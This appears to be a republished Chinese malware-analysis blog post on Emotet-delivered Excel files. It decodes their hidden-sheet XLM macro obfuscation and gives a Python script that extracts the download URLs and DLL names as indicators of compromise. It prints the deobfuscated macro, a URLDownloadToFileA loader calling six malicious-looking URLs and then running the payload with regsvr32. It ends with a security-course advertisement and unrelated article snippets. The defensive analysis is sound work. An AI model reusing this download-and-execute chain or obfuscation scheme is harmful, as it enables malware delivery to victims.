杰哥教你用Python对Emotet投递的恶意Excel表格提取IoCs

news2024/9/24 1:14:16

背景介绍

工作遇到多个经过同样方式混淆并隐藏的宏代码文档,利用Excel表格特性,将数据分离在不同的单元格中,再使用Office自带的函数对单元格的数值进行提取后组合成代码字符串运行。运行的代码完成下载恶意文件到本地并注册为服务的恶意行为。

致谢

感谢杰哥对我这头菜猪的帮助,经常半夜问他还会理我 (〒▽〒)让我终于能自己写出Python完成想要的功能,减少了很多不必要的时间花费()

文档分析

显示

除了宏代码启用提示外,可以发现Sheet名并非默认的“Sheet1”+“Sheet2”+“Sheet3”,而是唯一一个“Sheet”:image自己新建的Excel文件可以看到默认的Sheet名是“Sheet1”+“Sheet2”+“Sheet3”:image

取消隐藏的Sheet

image

一个个(没有一次全部)取消隐藏(U)后显示如下:image

隐藏的内容

第1个隐藏的Sheet:字符表

第1个Sheet用于保存单个字符。竟然很集中的出现在常见的可见范围内,应该是开发者为了自己开发方便。如果是我,写完会挪到ZZZZZ+(实际上不行,见下文“[Excel附加知识](https://www.yuque.com/jianouzuihuai/study/reverse_virus_office-
excel_emotet#XoN3S)”)外:image单元格的字符来源为数据计算。“=CHAR(加减法计算)”的字母/符号(如:“=CHAR(133+3)”),或“=_xlfn.ARABIC(罗马数字字符串)”(如:“=_xlfn.ARABIC("CI")”),以及个别直接赋值的符号,如“!”、“-”、“/”等:image.png

Excel附加知识* Excel 2003版:列数最大256(IV,2的8次方)列,行数最大65536(2的16次方)行;* Excel 2007版:列数最大16384(XFD,2的14次方),行数最大1048576(2的20次方);* Excel 2013版:列数最大16384(XFD,2的14次方),行数最大1048576(2的20次方);

Excel行和列的表示方法:例如2003版行用数字1-65536表示;列用英文字母A-Z,AA-AZ,BA-BZ,…,IA-IV表示,共256列。

第2个隐藏的Sheet:URL和部分代码字符串

字符串:* 基于第1个隐藏的Sheet字符单元格使用T函数拼接出的字符串,均为下载命令代码的部分:DownloadToFil",“JJCCBB”(“url,0,mon”,“URL"777”,“* 还有加了“”&“”拼接的原始字符串,为下载的URL和用于拼接为命令的“””以及““,””:原始:“h”&“ttp:/”&“/ch”&“u”&“rc”&“h.k”&“t”&“c-c”&“e”&“nt”&“er.n”&“et/Pb”&“Sk”&“dC”&“O”&“W/”,““h”&“tt”&“ps:/”&”/c"&“hri”&“sti”&“an”&“cha”&“p”&“ma”&“n.c”&“om/c”&“gi-b”&“in/gA”&“D”&“H”&“L9”&“UX”&“S”&“FU”&“TN/”,““h”&“tt”&“p:/”&”/c"&“la”&“nfo”&“g.c”&“o.u”&“k/_vt”&“i_b”&“in/a”&“Ob”&“JD”&“8v”&“pK”&“aJ”&“RLK”&“go”&“X6”&“i/”,““h”&“tt”&“ps://ch”&“obe”&“ma”&“st”&“er.c”&“om/co”&“m”&“po”&“ne”&“nt”&“s/g”&“us/”,”“h”&“tt”&“p:/”&“/c”&“hm”&“io”&“la.n”&“et/a”&“ud”&“io/6”&“Ou”&“zy”&“jP”&“S/”,““h”&“tt”&“ps://”&“cip”&“es”&”.go"&“b.m”&“x/cs”&“s/A”&“04”&“6XJ”&“g/”,“删除“”&“”后"http://church.ktc-center.net/PbSkdCOW/”,““https://christianchapman.com/cgi-bin/gADHL9UXSFUTN/”,”“http://clanfog.co.uk/_vti_bin/aObJD8vpKaJRLKgoX6i/”,““https://chobemaster.com/components/gus/”,”“http://chmiola.net/audio/6OuzyjPS/”,““https://cipes.gob.mx/css/A046XJg/”,”image.png

第3个隐藏的Sheet:Dll名和Dll路径

和第2个隐藏的Sheet有一定相似性:image.pngT函数拼接的(白底黑字)均为命令代码的部分字符串:<0, …\adw.dll -s…\adw.dll",0,0)其余的字符串直接以字符串保存:\Windows\SysWow64\RETURNregsvr[屏蔽词]32.exe### 第4个隐藏的Sheet:执行下载代码

由白底白字保存着“FORMULA”公式函数代码:image.pngimage.png

原始FORMULA公式代码=FORMULA(С1!C15,С2!F3)=FORMULA(Rvfs1!P22&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E3&С2!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!F19&Rvfs3!N14&Rvfs3!E16,B7)=FORMULA(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&“UDYQ1”&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E3&С2!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!G21&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13,B9)=FORMULA(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&“UDYQ2”&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E3&С2!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!H19&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13,B11)=FORMULA(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&“UDYQ3”&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E3&С2!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!I21&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13,B13)=FORMULA(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&“UDYQ4”&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E3&С2!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!J19&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13,B15)=FORMULA(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&“UDYQ5”&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E3&С2!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!K21&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13,B17)=FORMULA(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&“UDYQ6”&Rvfs3!N4&Rvfs1!H9&Rvfs1!B15&Rvfs1!I17&Rvfs1!I3&Rvfs1!H13&Rvfs1!P11&Rvfs1!K9&Rvfs1!P13&Rvfs1!P7&Rvfs1!P13,B21)=FORMULA(Rvfs1!P22&Rvfs1!H13&Rvfs1!N4&Rvfs1!H13&Rvfs1!H9&Rvfs1!P11&Rvfs1!P15&Rvfs1!H9&Rvfs1!P20&Rvfs3!D3&Rvfs3!J6&Rvfs3!F11&Rvfs3!P8&Rvfs3!B5&Rvfs1!P15&Rvfs1!P13,B23)=FORMULA(Rvfs1!P22&Rvfs3!R6&Rvfs1!P11&Rvfs1!P13,B28)#### 提取FORMULA内容

等价于:С1!C15 = С2!F3B7 = T(Rvfs1!P22&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E3&С2!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!F19&Rvfs3!N14&Rvfs3!E16)B9 = T(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&“UDYQ1”&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E3&С2!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!G21&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13)B11 = T(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&“UDYQ2”&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E3&С2!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!H19&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13)B13 = T(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&“UDYQ3”&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E3&С2!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!I21&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13)B15 = T(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&“UDYQ4”&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E3&С2!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!J19&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13)B17 = T(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&“UDYQ5”&Rvfs3!N4&Rvfs1!H9&Rvfs1!L2&Rvfs1!B15&Rvfs1!B15&Rvfs2!C7&Rvfs2!D11&Rvfs2!E3&С2!F3&Rvfs1!L2&Rvfs2!G5&Rvfs2!I9&Rvfs2!K21&Rvfs3!N14&Rvfs3!E16&Rvfs1!P13)B21 = T(Rvfs1!P22&Rvfs1!J11&Rvfs1!B18&Rvfs1!P11&“UDYQ6”&Rvfs3!N4&Rvfs1!H9&Rvfs1!B15&Rvfs1!I17&Rvfs1!I3&Rvfs1!H13&Rvfs1!P11&Rvfs1!K9&Rvfs1!P13&Rvfs1!P7&Rvfs1!P13)B23 = T(Rvfs1!P22&Rvfs1!H13&Rvfs1!N4&Rvfs1!H13&Rvfs1!H9&Rvfs1!P11&Rvfs1!P15&Rvfs1!H9&Rvfs1!P20&Rvfs3!D3&Rvfs3!J6&Rvfs3!F11&Rvfs3!P8&Rvfs3!B5&Rvfs1!P15&Rvfs1!P13)B28 = T(Rvfs1!P22&Rvfs3!R6&Rvfs1!P11&Rvfs1!P13)注意:由于Office版本的不同,低版本并不支持“FORMULA”方法,以及罗马数字转A拉伯数字的函数“_xlfn.ARABIC”。

单元格与数据表格

单元格|—|—A12| mB15| LB18| FB5| uC3| rC9| lC15| =K37=eD13| DD17| aD7| nE11| UE2| oE35| =E6| TF3| =C15=K37=eF10| wF15| dF4| RF7| 3G14| xG2| iG24| RH13| EH20| 8H4| eH9| CI17| OI26| TI3| SI32| oJ11| IJ6| JK14| BK23| NK37| eK4| 1K9| 0L11| cL2| AM7| sN13| 2N4| XO33| CP11| (P13| )P15| “P17| &P19| (空格)P20| :P22| =P3| \P5| .P7| ,P9| <Q36| t 单元格|字符串B5| …\adw.dll(第1个字符为空格)C7| (“urlD11| mon”,“URLD3| \Windows\E16| “,0,0)E3| DownloadToFilF11| regsvr[屏蔽词]32.exeG5| “,“JJCCBB"I9| ,0,J6| SysWow64\N14| …\adw.dllN4| <0,P8| -sR6| RETURN 单元格|C2字符串F19| “http://church.ktc-center.net/PbSkdCOW/”,“H19| “https://christianchapman.com/cgi-bin/gADHL9UXSFUTN/”,“J19| “http://clanfog.co.uk/_vti_bin/aObJD8vpKaJRLKgoX6i/”,“L19| “777”,“G21| “https://chobemaster.com/components/gus/”,“I21| “http://chmiola.net/audio/6OuzyjPS/”,“K21| “https://cipes.gob.mx/css/A046XJg/”,”#### 输出FORMULA结果=CALL(“urlmon”,“URLDownloadToFileA”,“JJCCBB”,0,“http://church.ktc-center.net/PbSkdCOW/”,”…\adw.dll”,0,0)=IF(&“UDYQ1”<0,CALL(“urlmon”,“URLDownloadToFileA”,“JJCCBB”,0,“https://chobemaster.com/components/gus/”,”…\adw.dll”,0,0))=IF(&“UDYQ2”<0,CALL(“urlmon”,“URLDownloadToFileA”,“JJCCBB”,0,“https://christianchapman.com/cgi-bin/gADHL9UXSFUTN/”,”…\adw.dll”,0,0))=IF(&“UDYQ3”<0,CALL(“urlmon”,“URLDownloadToFileA”,“JJCCBB”,0,“http://chmiola.net/audio/6OuzyjPS/”,”…\adw.dll”,0,0))=IF(&“UDYQ4”<0,CALL(“urlmon”,“URLDownloadToFileA”,“JJCCBB”,0,“http://clanfog.co.uk/_vti_bin/aObJD8vpKaJRLKgoX6i/”,”…\adw.dll”,0,0))=IF(&“UDYQ5”<0,CALL(“urlmon”,“URLDownloadToFileA”,“JJCCBB”,0,“https://cipes.gob.mx/css/A046XJg/”,“…\adw.dll”,0,0))=IF(&“UDYQ6”<0,CLOSE(0),)=EXEC(“C:\Windows\SysWow64\regsvr[屏蔽词]32.exe -s …\adw.dll”)=RETURN()1. 通过Office的宏代码功能,调用“urlmon”模块的“URLDownloadToFileA”函数访问指定的URL(5个样本均有6个URL)下载文件到指定路径下(如详细分析的样本为“adw.dll”)。2. “UDYQ[1-6]”为宏代码函数名,其中“UDYQ[1-5]”的结果会被加上“IF”判断则为检测上一个“URLDownloadToFileA”的返回值(成功为“S_OK(0x00000000)”),如果小于0则从备用的URL继续下载。3. 从1到6,如果“UDYQ[6]”也为小于0的话,也就是全部URL都失败,则“CLOSE(0)”结束。4. 如果6个URL有成功下载文件,则调用“EXEC”函数执行命令“"C:\Windows\SysWow64\regsvr[屏蔽词]32.exe -s ..\adw.dll"”,将下载的恶意载荷文件 注册为服务

两种URL保存形式

URL除了以““&””进行拼接外:image.png还有一类是直接保存完整的URL,以及拼接命令用的引号和逗号““,””:image.png

提取

仅以此版本Emotet下载器代码来说,对我个人比较有效有意义的数据为:1. 下载的URL2. 保存下载的文件名

下载的URL1. 在单元格中以“"&"”拼接的字符串可以使用Python提取单元格内容,正则提取有多个“"&"”子字符串的字符串,提取后再用replace删除“"&"”子字符串。2. 另一类变种直接保存的URL那么特征是存在“😕/”字符串(并且可能以“","”结尾)

下载的文件名

均以T函数进行拼接,特征是以“ …\”开头,或者以“.dll”结尾。如果使用的是同一套的单个字符映射的Sheet表格,那么“ …[Dll名].dll”对应的命令为“=T([字符表Sheet]! P19
&[字符表Sheet]! P5 &[字符表Sheet]! P5 &[字符表Sheet]! P3
((&[字符表Sheet]!字符单元格){3,4})&[字符表Sheet]! P5 &[字符表Sheet]! F15
&[字符表Sheet]! C9 &[字符表Sheet]! C9 )”:image.png

文件名结构/解构

**“ …[a-z]{1,}.dll”**前为结构“ …\”:1个空格“ ”+2个“.”+“\”;中间为需要提取的内容,即Dll的文件名,目前分析的均为小写字母组合的3-4位字符串;后为结构“.dll”:“.”+“d”+2个“l”。特征结构比较固定,尤其是出现2个(断句)2个双写(“…”和“ll”)的情况,即使字母映射不同,也可以根据此规律进行提示。(当以目前发现的字母映射表进行提取无结果时,提醒有可能映射表被更换)——但我使用Python从Excel读取数据时却发现,Python直接把数据计算出来了,和我想象中的以宏代码形式保存并不同:image.png

Python1. 提取还原URL1. 判断是不是6个(针对目前的发现规律,仅做提示,不影响提取功能)2. 提取Dll名

[Python-字符串 -

还原混淆的宏代码](https://www.yuque.com/jianouzuihuai/study/xok2wy?view=doc_embed&inner=PkzoO)import osimport reimport pandas as pdstrNewLine = “\r\n”# 从单元格中提取非nan的内容def GetValue2List( df ): nRow = df.shape[0] nColumn = df.shape[1] listValue = [] for iRow in range( nRow ): for iColumn in range( nColumn ): value = str( df.iloc[iRow , iColumn] ) if (value != ‘nan’): listValue.append( value ) # print(listValue) return listValuedef RevivifyURL( listSheetURL ): # print(listSheetURL) reURL1 = re.compile( r’/"[/“,”]"’ ) reURL2 = re.compile( r’😕/(.?)“,”’ , re.I ) listURL = [] for i in listSheetURL: strURL = ‘’ # 保存方式1:以““&””拼接 if ‘“&”’ in i: # print( i ) strCode = i.replace( ‘“&”’ , ‘’ ) strURL = reURL1.findall( strCode )[0] # 保存方式2:直接保存 elif ‘😕/’ in i: # print(i) strURL = reURL2.findall( i )[0] if(strURL != ‘’) and (strURL not in listURL): print( strURL ) listURL.append( strURL ) if (len( listURL ) == 6): # print( listURL ) pass else: print( “请人工分析:URL是否非6个” )def RevivifyDll( listSheetDll ): # print(listSheetDll) # 匹配1:\(.?).dll,“\”开头,“.dll”结尾 # 匹配2:\(.?).,“\”开头,“.”结尾 reDll1 = re.compile( r’\(.?).dll’ , re.I ) reDll2 = re.compile( r’|\(.*?).’ , re.I ) listDll = [] listRe = [] for i in listSheetDll: if (‘…\’ in i) or (‘.dll’ in i): # print( i ) listRe1 = reDll1.findall( i ) # print( listRe1 ) listRe.extend( listRe1 ) if (len( listRe1 ) == 0): listRe2 = reDll2.findall( i ) # print( listRe2 ) listRe.extend( listRe2 ) if (len( listRe2 ) == 0): print( “请人工分析:2个正则都没有匹配出Dll” ) if (len( listRe ) != 0): for iRe in listRe: if (iRe != ‘’) and (iRe not in listDll): listDll.append( iRe ) # print(listDll) if (len( listDll ) == 1): strDllName = listDll[0] print( “Dll名:” , strDllName ,strNewLine) else: print( “请人工分析:Dll名格式是否能通过正则匹配” )def ExtractEmotetIoCs( pathExcel ): dfExcel = pd.read_excel( pathExcel , sheet_name = None ) listKeys = list( dfExcel.keys() ) # URL在第2个隐藏Sheet dfURL = dfExcel[listKeys[2]] listSheetURL = GetValue2List( dfURL ) RevivifyURL( listSheetURL ) # Dll在第3个隐藏Sheet dfDll = dfExcel[listKeys[3]] listSheetDll = GetValue2List( dfDll ) RevivifyDll( listSheetDll )# 遍历目录获取“.md”文件路径def EnumDirGetExcelFilePath( pathDir ): print( “遍历的路径:” , pathDir ) listPathExcel = [] for root , dirs , files in os.walk( pathDir ): for file in files: print( file ) pathFile = os.path.join( root , file ) # print( pathFile ) ExtractEmotetIoCs( pathFile )pathFileExcel = "6EE99C20494D3876BEF6F882CA25DEE2.Emotet"pathDir = r"C:\Users\Administrator\Desktop\Emotet文档"if name == ‘main’: # 单个提取 # ExtractEmotetIoCs( pathFileExcel ) # 遍历文件夹提取 EnumDirGetExcelFilePath( pathDir ) print( “~顺利结束~” )### 运行结果

1648874142_6247d29e71afc1d543229.png!small?1648874142568

行为分析

上文已经分析出了下载代码,逻辑为:1. 通过Office的宏代码功能,调用“urlmon”模块的“URLDownloadToFileA”函数访问指定的URL(5个样本均有6个URL)下载文件到指定路径下(如详细分析的样本为“adw.dll”)。2. “UDYQ[1-6]”为宏代码函数名,其中“UDYQ[1-5]”的结果会被加上“IF”判断则为检测上一个函数中“URLDownloadToFileA”的返回值(成功为“S_OK(0x00000000)”)1. 如果下载失败,即结果小于0,则从备用的URL继续下载;2. 从1到6依次运行,如果均下载失败,则“CLOSE(0)”结束。3. 如果6个URL有任一成功下载文件,则调用“EXEC”函数执行命令“"C:\Windows\SysWow64\regsvr[屏蔽词]32.exe -s ..\adw.dll"”,将下载的恶意载荷文件 注册为服务

不成功的原因

Office版本不同

宏代码采用了“FORMULA”公式对数据进行拼接和赋值,在比较早的Office版本中并不兼容此函数,也会造成无法执行代码的后果。同样不兼容可能还有罗马数字转A拉伯数字的函数“_xlfn.ARABIC”。

不同位数系统的系统程序路径不同

即使命令能顺利的拼接完成,由于最后命令行“EXEC("C:\Windows\SysWow64\regsvr[屏蔽词]32.exe -s ..\adw.dll")”写死了“regsvr[屏蔽词]32.exe”的路径为“C:\Windows\SysWow64\regsvr[屏蔽词]32.exe”,实际上该路径为64位Windows系统中“regsvr[屏蔽词]32.exe”的路径,在32位的系统上并没有目录“C:\Windows\SysWow64”。
32位系统由于路径不兼容情况,会导致命令执行失败,故32位系统对此变种存在一定的免疫性。

URL失效

由于时效性问题,在受害者点击垃圾邮件时,可能对应的资源链接已失效。为应对失效情况,往往攻击者会在投递时准备备用URL,故本次分析的5个文档,均有6个URL以供下载。实际分析时应当以流量中是否正确解析并 返回URL资源数据 ;受害主机是否有 对应文件名落盘 为准。

沙箱的不可依赖性

在“不成功原因”里写到,Office版本不同可能会造成代码拼接函数无法执行的问题,在加上大部分沙箱默认的是32位,有比较大概率无法成功调用到“C:\Windows\SysWow64”下的“regsvr[屏蔽词]32.exe”将Dll注册为服务。最后还需要考虑到执行逻辑,如果第一个URL执行成功,就不访问后续的URL,沙箱报告中只能提取出一个URL,但是实际受害者可能用了备选的URL。综上所述,此类样本更适合使用静态的方式提取IoCs。每个产品都有自己的优势和弊端,根据不同情况应该灵活使用不同的方式进行检测和防御。切记不要过于依赖一种产品,设置非已知提醒(如上文中对URL数量为6的提醒),能检测到变化,并在发现变化后及时分析变化的部分,推测变化的原因。

和弊端,根据不同情况应该灵活使用不同的方式进行检测和防御。切记不要过于依赖一种产品,设置非已知提醒(如上文中对URL数量为6的提醒),能检测到变化,并在发现变化后及时分析变化的部分,推测变化的原因。

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/798613.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

spring项目中idea提示Application context not configured for this file

今天在重构项目的时候&#xff0c;碰到一个问题。就是在spring底下&#xff0c;有一个包里面的所有配置类&#xff0c;在idea的开发工具类底下提示&#xff0c;Application context not configured for this file&#xff0c;如图所示 一开始以为是警告&#xff0c;不予处理&am…

04 linux之C 语言高级编程

gcc和gdb GNU工具 编译工具&#xff1a;把一个源程序编译为一个可执行程序调试工具&#xff1a;能对执行程序进行源码或汇编级调试软件工程工具&#xff1a;用于协助多人开发或大型软件项目的管理&#xff0c;如make、CVS、Subvision其他工具&#xff1a;用于把多个目标文件链…

《入门级-Cocos2d 4.0塔防游戏开发》---第二课:游戏加载界面开发

一、开发环境介绍 操作系统&#xff1a;UOS1060专业版本。 cocos2dx:版本 环境搭建教程&#xff1a; 统信UOS下配置安装cocos2dx开发环境_三雷科技的博客-CSDN博客 二、开发内容 游戏在开始时都需要加载大量的资源&#xff0c;为了让用户有等待时间&#xff0c;因此最先开…

linux学成之路(基础篇)(二十三)MySQL服务(数据库备份——补充)

目录 一、MySQL数据库备份 概述 重要性 造成数据丢失的原因 二、备份类型 一、物理与逻辑角度 一、物理备份 二、逻辑备份 二、数据库备份策略角度 一、完整备份 二、增量备份 三、常见的备份方法 一、物理备份 二、使用专用备份工具 三、通过启用二进制日志增量…

漏洞发现-Xray+Awvs联动-Goby+Xray+Awvs+Vulmap联动

Acunetix: Acunetix一款商业的Web漏洞扫描程序&#xff0c;它可以检查Web应用程序中的漏洞&#xff0c;如SQL注入、跨站脚本攻击、身份验证页上的弱口令长度等。它拥有一个操作方便的图形用户界面&#xff0c;并且能够创建专业级的Web站点安全审核报告。新版本集成了漏洞管理功…

在家构建您的迷你 ChatGPT

这篇文章分为三个部分&#xff1b;他们是&#xff1a; 什么是指令遵循模型&#xff1f;如何查找遵循模型的指令构建一个简单的聊天机器人废话不多说直接开始吧&#xff01;&#xff01;&#xff01; 什么是指令遵循模型&#xff1f; 语言模型是机器学习模型&#xff0c;可以根…

移动开发之Wifi列表获取功能

一、场景 业务需要通过App给设备配置无线网络连接&#xff0c;所以需要App获取附近的WiFi列表&#xff0c;并进行网络连接验证。 二、安卓端实现 1、阅读谷歌官网文档&#xff0c;关于Wifi 接口使用 https://developer.android.com/guide/topics/connectivity/wifi-scan?hl…

SpringBoot——内置数据库

简单介绍 关于数据层的三大组件&#xff0c;数据源&#xff0c;持久化技术&#xff0c;数据库。前两种都已经介绍过了SpringBoot的内置的解决方案&#xff0c;还有最后一个数据库&#xff0c;在SpringBoot中&#xff0c;内置了三款数据库。分别是&#xff1a; H2HSQLDerby 这…

ARTIF:一种先进的实时威胁智能识别框架

关于ARTIF ARTIF是一个新型的高级实时威胁智能框架&#xff0c;它基于MISP并添加了另一个抽象层&#xff0c;以实现根据IP地址和历史数据识别恶意Web流量。除此之外&#xff0c;该工具还可以通过收集、处理和关联基于不同因素的观测值来执行自动分析和威胁评分。 功能介绍 评…

uni-app在小米手机上运行【步骤细节】

注意细节重点&#xff1a; 1.手机使用数据线与电脑连接&#xff0c;手机连接模式必须是传输文件模式 2.手机必须打开开发者模式 3.打开开发者模式后&#xff0c;仔细浏览并调整USB调试权限&#xff0c;重点打开USB是否允许安装按钮&#xff01;&#xff01;&#xff01; 操作步…

onnxruntime (C++/CUDA) 编译安装

一、克隆及编译 git clone --recursive https://github.com/Microsoft/onnxruntime cd onnxruntime/ git checkout v1.8.0如果克隆的时候报错&#xff1a; 执行以下&#xff1a; apt-get install gnutls-bin git config --global http.sslVerify false git config --global h…

自动化测试的技术路线

本文中我谈一下自动化测试的技术路线&#xff0c;同时也是测试团队的发展路线。 团队路线1.工程化路线 如果你们公司只有你一个测试&#xff0c;那工程化的路线是必然的选择。另外&#xff0c;我个人比较推崇工程化而非平台化。 下图介绍了工程化路线下写出来的自动化测试&…

[oeasy]python0075_删除变量_del_delete_variable

删除变量 回忆上次内容 上次我们研究了字节序 字节序有两种 符号英文名称中文名称<little-endian小字节序>big-endian大字节序 字节序 用来 明确 整型数字存储的 顺序 如果 读写数字出了错 可以 考虑一下 是否 字节序出了问题 变量现在可以 声明初始化存储了 但是 …

Animator Animator Controller Avatar relationship

Animator 组件用于将动画分配给场景中的游戏对象。Animator 需要对Animator Controller 的引用&#xff0c;该控制器定义要使用的动画剪辑&#xff0c;并控制何时以及如何在它们之间混合和过渡。 如果 GameObject 是具有 Avatar 定义的人形角色&#xff0c;则 Avatar 也应在此组…

【数据结构】--189.轮转数组

&#x1f490; &#x1f338; &#x1f337; &#x1f340; &#x1f339; &#x1f33b; &#x1f33a; &#x1f341; &#x1f343; &#x1f342; &#x1f33f; &#x1f344;&#x1f35d; &#x1f35b; &#x1f364; &#x1f4c3;个人主页 &#xff1a;阿然成长日记 …

Python GUI 案例 (tkinter module)

Python GUI 设计案例 基于matplotlib的 y-x 简单绘图 import tkinter as tk from tkinter import filedialog import matplotlib.pyplot as plt import numpy as npdef select_x_file():x_file_path filedialog.askopenfilename(title"x")x_file_entry.delete(0, t…

Pytorch学习笔记 | 数据类型 | mnist数据集

数据类型 python中数据类型和pytorch中的对应关系 注意:pytorch是没有没有string类型的 例1:创建一个3行4列的随机数数组,符合均值为0,方差为1的正态分布 import torch a=torch.Tensor(3,4) a Out[17]: tensor([[0.

iperf3跑满100G网卡实测记录

环境准备 拓扑 两台服务器 100G网卡对插直连。 ubuntu20.04, 系统设置默认状态 MTU 1500 网卡 Mellonax ConnectX5 100G rootvnet:~# lspci | grep Mellanox 98:00.0 Ethernet controller: Mellanox Technologies MT27800 Family [ConnectX-5] 98:00.1 Ethernet control…

【高级数据结构】树状数组

目录 树状数组1 &#xff08;单点修改&#xff0c;区间查询&#xff09; 树状数组1 &#xff08;单点修改&#xff0c;区间查询&#xff09; 洛谷&#xff1a;树状数组1https://www.luogu.com.cn/problem/P3374 题目描述 如题&#xff0c;已知一个数列&#xff0c;你需要进行…

汇报的目标和技巧【研发版】

汇报的组织意义 要做好汇报&#xff0c;需要先理解汇报的意义&#xff0c;这是根源上的指导。直接地说&#xff0c;满足上级的需求就是汇报的价值&#xff0c;而上级需求来自企业运作的需要&#xff0c;这也是各级管理者职责的组成部分。 各级管理者的职责&#xff08;倒序引用…